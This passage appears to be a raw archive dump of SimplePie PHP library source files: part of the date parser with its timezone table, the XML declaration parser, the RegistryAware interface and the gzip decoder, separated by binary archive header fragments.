        'GYT' => -14400,
        'HAA' => -10800,
        'HAC' => -18000,
        'HADT' => -32400,
        'HAE' => -14400,
        'HAP' => -25200,
        'HAR' => -21600,
        'HAST' => -36000,
        'HAT' => -9000,
        'HAY' => -28800,
        'HKST' => 28800,
        'HMT' => 18000,
        'HNA' => -14400,
        'HNC' => -21600,
        'HNE' => -18000,
        'HNP' => -28800,
        'HNR' => -25200,
        'HNT' => -12600,
        'HNY' => -32400,
        'IRDT' => 16200,
        'IRKST' => 32400,
        'IRKT' => 28800,
        'IRST' => 12600,
        'JFDT' => -10800,
        'JFST' => -14400,
        'JST' => 32400,
        'KGST' => 21600,
        'KGT' => 18000,
        'KOST' => 39600,
        'KOVST' => 28800,
        'KOVT' => 25200,
        'KRAST' => 28800,
        'KRAT' => 25200,
        'KST' => 32400,
        'LHDT' => 39600,
        'LHST' => 37800,
        'LINT' => 50400,
        'LKT' => 21600,
        'MAGST' => 43200,
        'MAGT' => 39600,
        'MAWT' => 21600,
        'MDT' => -21600,
        'MESZ' => 7200,
        'MEZ' => 3600,
        'MHT' => 43200,
        'MIT' => -34200,
        'MNST' => 32400,
        'MSDT' => 14400,
        'MSST' => 10800,
        'MST' => -25200,
        'MUT' => 14400,
        'MVT' => 18000,
        'MYT' => 28800,
        'NCT' => 39600,
        'NDT' => -9000,
        'NFT' => 41400,
        'NMIT' => 36000,
        'NOVST' => 25200,
        'NOVT' => 21600,
        'NPT' => 20700,
        'NRT' => 43200,
        'NST' => -12600,
        'NUT' => -39600,
        'NZDT' => 46800,
        'NZST' => 43200,
        'OMSST' => 25200,
        'OMST' => 21600,
        'PDT' => -25200,
        'PET' => -18000,
        'PETST' => 46800,
        'PETT' => 43200,
        'PGT' => 36000,
        'PHOT' => 46800,
        'PHT' => 28800,
        'PKT' => 18000,
        'PMDT' => -7200,
        'PMST' => -10800,
        'PONT' => 39600,
        'PST' => -28800,
        'PWT' => 32400,
        'PYST' => -10800,
        'PYT' => -14400,
        'RET' => 14400,
        'ROTT' => -10800,
        'SAMST' => 18000,
        'SAMT' => 14400,
        'SAST' => 7200,
        'SBT' => 39600,
        'SCDT' => 46800,
        'SCST' => 43200,
        'SCT' => 14400,
        'SEST' => 3600,
        'SGT' => 28800,
        'SIT' => 28800,
        'SRT' => -10800,
        'SST' => -39600,
        'SYST' => 10800,
        'SYT' => 7200,
        'TFT' => 18000,
        'THAT' => -36000,
        'TJT' => 18000,
        'TKT' => -36000,
        'TMT' => 18000,
        'TOT' => 46800,
        'TPT' => 32400,
        'TRUT' => 36000,
        'TVT' => 43200,
        'TWT' => 28800,
        'UYST' => -7200,
        'UYT' => -10800,
        'UZT' => 18000,
        'VET' => -14400,
        'VLAST' => 39600,
        'VLAT' => 36000,
        'VOST' => 21600,
        'VUT' => 39600,
        'WAST' => 7200,
        'WAT' => 3600,
        'WDT' => 32400,
        'WEST' => 3600,
        'WFT' => 43200,
        'WIB' => 25200,
        'WIT' => 32400,
        'WITA' => 28800,
        'WKST' => 18000,
        'WST' => 28800,
        'YAKST' => 36000,
        'YAKT' => 32400,
        'YAPT' => 36000,
        'YEKST' => 21600,
        'YEKT' => 18000,
    ];

    /**
     * Cached PCRE for Date::$day
     *
     * @access protected
     * @var string
     */
    public $day_pcre;

    /**
     * Cached PCRE for Date::$month
     *
     * @access protected
     * @var string
     */
    public $month_pcre;

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array
     */
    public $built_in = [];

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array
     */
    public $user = [];

    /**
     * Create new Date object, and set self::day_pcre,
     * self::month_pcre, and self::built_in
     *
     * @access private
     */
    public function __construct()
    {
        $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
        $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';

        static $cache;
        if (!isset($cache[get_class($this)])) {
            $all_methods = get_class_methods($this);

            foreach ($all_methods as $method) {
                if (strtolower(substr($method, 0, 5)) === 'date_') {
                    $cache[get_class($this)][] = $method;
                }
            }
        }

        foreach ($cache[get_class($this)] as $method) {
            $this->built_in[] = $method;
        }
    }

    /**
     * Get the object
     *
     * @access public
     */
    public static function get()
    {
        static $object;
        if (!$object) {
            $object = new Date();
        }
        return $object;
    }

    /**
     * Parse a date
     *
     * @final
     * @access public
     * @param string $date Date to parse
     * @return int Timestamp corresponding to date string, or false on failure
     */
    public function parse($date)
    {
        foreach ($this->user as $method) {
            if (($returned = call_user_func($method, $date)) !== false) {
                return $returned;
            }
        }

        foreach ($this->built_in as $method) {
            if (($returned = call_user_func([$this, $method], $date)) !== false) {
                return $returned;
            }
        }

        return false;
    }

    /**
     * Add a callback method to parse a date
     *
     * @final
     * @access public
     * @param callable $callback
     */
    public function add_callback($callback)
    {
        if (is_callable($callback)) {
            $this->user[] = $callback;
        } else {
            trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
        }
    }

    /**
     * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
     * well as allowing any of upper or lower case "T", horizontal tabs, or
     * spaces to be used as the time separator (including more than one))
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_w3cdtf($date)
    {
        $pcre = <<<'PCRE'
            /
            ^
            (?P<year>[0-9]{4})
            (?:
                -?
                (?P<month>[0-9]{2})
                (?:
                    -?
                    (?P<day>[0-9]{2})
                    (?:
                        [Tt\x09\x20]+
                        (?P<hour>[0-9]{2})
                        (?:
                            :?
                            (?P<minute>[0-9]{2})
                            (?:
                                :?
                                (?P<second>[0-9]{2})
                                (?:
                                    .
                                    (?P<second_fraction>[0-9]*)
                                )?
                            )?
                        )?
                        (?:
                            (?P<zulu>Z)
                            |   (?P<tz_sign>[+\-])
                                (?P<tz_hour>[0-9]{1,2})
                                :?
                                (?P<tz_minute>[0-9]{1,2})
                        )
                    )?
                )?
            )?
            $
            /x
PCRE;
        if (preg_match($pcre, $date, $match)) {
            // Fill in empty matches and convert to proper types.
            $year = (int) $match['year'];
            $month = isset($match['month']) ? (int) $match['month'] : 1;
            $day = isset($match['day']) ? (int) $match['day'] : 1;
            $hour = isset($match['hour']) ? (int) $match['hour'] : 0;
            $minute = isset($match['minute']) ? (int) $match['minute'] : 0;
            $second = isset($match['second']) ? (int) $match['second'] : 0;
            $second_fraction = isset($match['second_fraction']) ? ((int) $match['second_fraction']) / (10 ** strlen($match['second_fraction'])) : 0;
            $tz_sign = ($match['tz_sign'] ?? '') === '-' ? -1 : 1;
            $tz_hour = isset($match['tz_hour']) ? (int) $match['tz_hour'] : 0;
            $tz_minute = isset($match['tz_minute']) ? (int) $match['tz_minute'] : 0;

            // Numeric timezone
            $timezone = $tz_hour * 3600;
            $timezone += $tz_minute * 60;
            $timezone *= $tz_sign;

            // Convert the number of seconds to an integer, taking decimals into account
            $second = (int) round($second + $second_fraction);

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Remove RFC822 comments
     *
     * @access protected
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public function remove_rfc2822_comments($string)
    {
        $string = (string) $string;
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($pos === 0 || $string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * Parse RFC2822's date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_rfc2822($date)
    {
        static $pcre;
        if (!$pcre) {
            $wsp = '[\x09\x20]';
            $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
            $optional_fws = $fws . '?';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $minute = $second = '([0-9]{2})';
            $year = '([0-9]{2,4})';
            $num_zone = '([+\-])([0-9]{2})([0-9]{2})';
            $character_zone = '([A-Z]{1,5})';
            $zone = '(?:' . $num_zone . '|' . $character_zone . ')';
            $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
        }
        if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone ±
            9: Timezone hours
            10: Timezone minutes
            11: Alphabetic timezone
            */

            // Find the month number
            $month = $this->month[strtolower($match[3])];

            // Numeric timezone
            if ($match[8] !== '') {
                $timezone = $match[9] * 3600;
                $timezone += $match[10] * 60;
                if ($match[8] === '-') {
                    $timezone = 0 - $timezone;
                }
            }
            // Character timezone
            elseif (isset($this->timezone[strtoupper($match[11])])) {
                $timezone = $this->timezone[strtoupper($match[11])];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2/3 digit years
            if ($match[4] < 50) {
                $match[4] += 2000;
            } elseif ($match[4] < 1000) {
                $match[4] += 1900;
            }

            // Second is optional, if it is empty set it to zero
            if ($match[7] !== '') {
                $second = $match[7];
            } else {
                $second = 0;
            }

            return gmmktime(intval($match[5]), intval($match[6]), intval($second), intval($month), intval($match[2]), intval($match[4])) - $timezone;
        }

        return false;
    }

    /**
     * Parse RFC850's date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_rfc850($date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $year = $hour = $minute = $second = '([0-9]{2})';
            $zone = '([A-Z]{1,5})';
            $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone
            */

            // Month
            $month = $this->month[strtolower($match[3])];

            // Character timezone
            if (isset($this->timezone[strtoupper($match[8])])) {
                $timezone = $this->timezone[strtoupper($match[8])];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2 digit year
            if ($match[4] < 50) {
                $match[4] += 2000;
            } else {
                $match[4] += 1900;
            }

            return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
        }

        return false;
    }

    /**
     * Parse C99's asctime()'s date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_asctime($date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $wday_name = $this->day_pcre;
            $mon_name = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $sec = $min = '([0-9]{2})';
            $year = '([0-9]{4})';
            $terminator = '\x0A?\x00?';
            $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Month
            3: Day
            4: Hour
            5: Minute
            6: Second
            7: Year
            */

            $month = $this->month[strtolower($match[2])];
            return gmmktime((int) $match[4], (int) $match[5], (int) $match[6], $month, (int) $match[3], (int) $match[7]);
        }

        return false;
    }

    /**
     * Parse dates using strtotime()
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_strtotime($date)
    {
        $strtotime = strtotime($date);
        if ($strtotime === -1 || $strtotime === false) {
            return false;
        }

        return $strtotime;
    }
}

class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date');
PKWd[��O��$�$src/XML/Declaration/Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\XML\Declaration;

/**
 * Parses the XML Declaration
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Parser
{
    /**
     * XML Version
     *
     * @access public
     * @var string
     */
    public $version = '1.0';

    /**
     * Encoding
     *
     * @access public
     * @var string
     */
    public $encoding = 'UTF-8';

    /**
     * Standalone
     *
     * @access public
     * @var bool
     */
    public $standalone = false;

    private const STATE_BEFORE_VERSION_NAME = 'before_version_name';

    private const STATE_VERSION_NAME = 'version_name';

    private const STATE_VERSION_EQUALS = 'version_equals';

    private const STATE_VERSION_VALUE = 'version_value';

    private const STATE_ENCODING_NAME = 'encoding_name';

    private const STATE_EMIT = 'emit';

    private const STATE_ENCODING_EQUALS = 'encoding_equals';

    private const STATE_STANDALONE_NAME = 'standalone_name';

    private const STATE_ENCODING_VALUE = 'encoding_value';

    private const STATE_STANDALONE_EQUALS = 'standalone_equals';

    private const STATE_STANDALONE_VALUE = 'standalone_value';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @access private
     * @var self::STATE_*
     */
    public $state = self::STATE_BEFORE_VERSION_NAME;

    /**
     * Input data
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @access private
     * @var int
     */
    public $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     * @access private
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT) {
            return true;
        }

        $this->version = '';
        $this->encoding = '';
        $this->standalone = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @access private
     * @return bool true if there is further data, false if not
     */
    public function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * Advance past any whitespace
     *
     * @return int Number of whitespace characters passed
     */
    public function skip_whitespace()
    {
        $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
        $this->position += $whitespace;
        return $whitespace;
    }

    /**
     * Read value
     */
    public function get_value()
    {
        $quote = substr($this->data, $this->position, 1);
        if ($quote === '"' || $quote === "'") {
            $this->position++;
            $len = strcspn($this->data, $quote, $this->position);
            if ($this->has_data()) {
                $value = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                return $value;
            }
        }
        return false;
    }

    public function before_version_name()
    {
        if ($this->skip_whitespace()) {
            $this->state = self::STATE_VERSION_NAME;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_name()
    {
        if (substr($this->data, $this->position, 7) === 'version') {
            $this->position += 7;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_value()
    {
        if ($this->version = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ENCODING_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_name()
    {
        if (substr($this->data, $this->position, 8) === 'encoding') {
            $this->position += 8;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_EQUALS;
        } else {
            $this->state = self::STATE_STANDALONE_NAME;
        }
    }

    public function encoding_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_value()
    {
        if ($this->encoding = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_STANDALONE_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_name()
    {
        if (substr($this->data, $this->position, 10) === 'standalone') {
            $this->position += 10;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_value()
    {
        if ($standalone = $this->get_value()) {
            switch ($standalone) {
                case 'yes':
                    $this->standalone = true;
                    break;

                case 'no':
                    $this->standalone = false;
                    break;

                default:
                    $this->state = self::STATE_ERROR;
                    return;
            }

            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ERROR;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }
}

class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
PKWd[q��k	k	src/RegistryAware.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles the injection of Registry into other class
 *
 * {@see \SimplePie\SimplePie::get_registry()}
 *
 * @package SimplePie
 */
interface RegistryAware
{
    /**
     * Set the Registry into the class
     *
     * @param Registry $registry
     *
     * @return void
     */
    public function set_registry(Registry $registry)/* : void */;
}
PKWd[<82��'�'src/Gzdecode.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Decode 'gzip' encoded HTTP data
 *
 * @package SimplePie
 * @subpackage HTTP
 * @link http://www.gzip.org/format.txt
 */
class Gzdecode
{
    /**
     * Compressed data
     *
     * @access private
     * @var string
     * @see gzdecode::$data
     */
    public $compressed_data;

    /**
     * Size of compressed data
     *
     * @access private
     * @var int
     */
    public $compressed_size;

    /**
     * Minimum size of a valid gzip string
     *
     * @access private
     * @var int
     */
    public $min_compressed_size = 18;

    /**
     * Current position of pointer
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Flags (FLG)
     *
     * @access private
     * @var int
     */
    public $flags;

    /**
     * Uncompressed data
     *
     * @access public
     * @see gzdecode::$compressed_data
     * @var string
     */
    public $data;

    /**
     * Modified time
     *
     * @access public
     * @var int
     */
    public $MTIME;

    /**
     * Extra Flags
     *
     * @access public
     * @var int
     */
    public $XFL;

    /**
     * Operating System
     *
     * @access public
     * @var int
     */
    public $OS;

    /**
     * Subfield ID 1
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI2
     * @var string
     */
    public $SI1;

    /**
     * Subfield ID 2
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI1
     * @var string
     */
    public $SI2;

    /**
     * Extra field content
     *
     * @access public
     * @see gzdecode::$SI1
     * @see gzdecode::$SI2
     * @var string
     */
    public $extra_field;

    /**
     * Original filename
     *
     * @access public
     * @var string
     */
    public $filename;

    /**
     * Human readable comment
     *
     * @access public
     * @var string
     */
    public $comment;

    /**
     * Don't allow anything to be set
     *
     * @param string $name
     * @param mixed $value
     */
    public function __set($name, $value)
    {
        throw new Exception("Cannot write property $name");
    }

    /**
     * Set the compressed string and related properties
     *
     * @param string $data
     */
    public function __construct($data)
    {
        $this->compressed_data = $data;
        $this->compressed_size = strlen($data);
    }

    /**
     * Decode the GZIP stream
     *
     * @return bool Successfulness
     */
    public function parse()
    {
        if ($this->compressed_size >= $this->min_compressed_size) {
            $len = 0;

            // Check ID1, ID2, and CM
            if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
                return false;
            }

            // Get the FLG (FLaGs)
            $this->flags = ord($this->compressed_data[3]);

            // FLG bits above (1 << 4) are reserved
            if ($this->flags > 0x1F) {
                return false;
            }

            // Advance the pointer after the above
            $this->position += 4;

            // MTIME
            $mtime = substr($this->compressed_data, $this->position, 4);
            // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
            if (current(unpack('S', "\x00\x01")) === 1) {
                $mtime = strrev($mtime);
            }
            $this->MTIME = current(unpack('l', $mtime));
            $this->position += 4;

            // Get the XFL (eXtra FLags)
            $this->XFL = ord($this->compressed_data[$this->position++]);

            // Get the OS (Operating System)
            $this->OS = ord($this->compressed_data[$this->position++]);

            // Parse the FEXTRA
            if ($this->flags & 4) {
                // Read subfield IDs
                $this->SI1 = $this->compressed_data[$this->position++];
                $this->SI2 = $this->compressed_data[$this->position++];

                // SI2 set to zero is reserved for future use
                if ($this->SI2 === "\x00") {
                    return false;
                }

                // Get the length of the extra field
                $len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
                $this->position += 2;

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 4;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the extra field to the given data
                    $this->extra_field = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len;
                } else {
                    return false;
                }
            }

            // Parse the FNAME
            if ($this->flags & 8) {
                // Get the length of the filename
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original filename to the given string
                    $this->filename = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FCOMMENT
            if ($this->flags & 16) {
                // Get the length of the comment
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original comment to the given string
                    $this->comment = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FHCRC
            if ($this->flags & 2) {
                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 2;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Read the CRC
                    $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));

                    // Check the CRC matches
                    if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
                        $this->position += 2;
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            }

            // Decompress the actual data
            if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
                return false;
            }

            $this->position = $this->compressed_size - 8;

            // Check CRC of data
            $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
            {
                return false;
            }*/

            // Check ISIZE of data
            $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
                return false;
            }

            // Wow, against all odds, we've actually got a valid gzip string
            return true;
        }

        return false;
    }
}

class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
PKWd[����^�^src/Source.phpnu�[���<?php

/**
 * SimplePie
 *
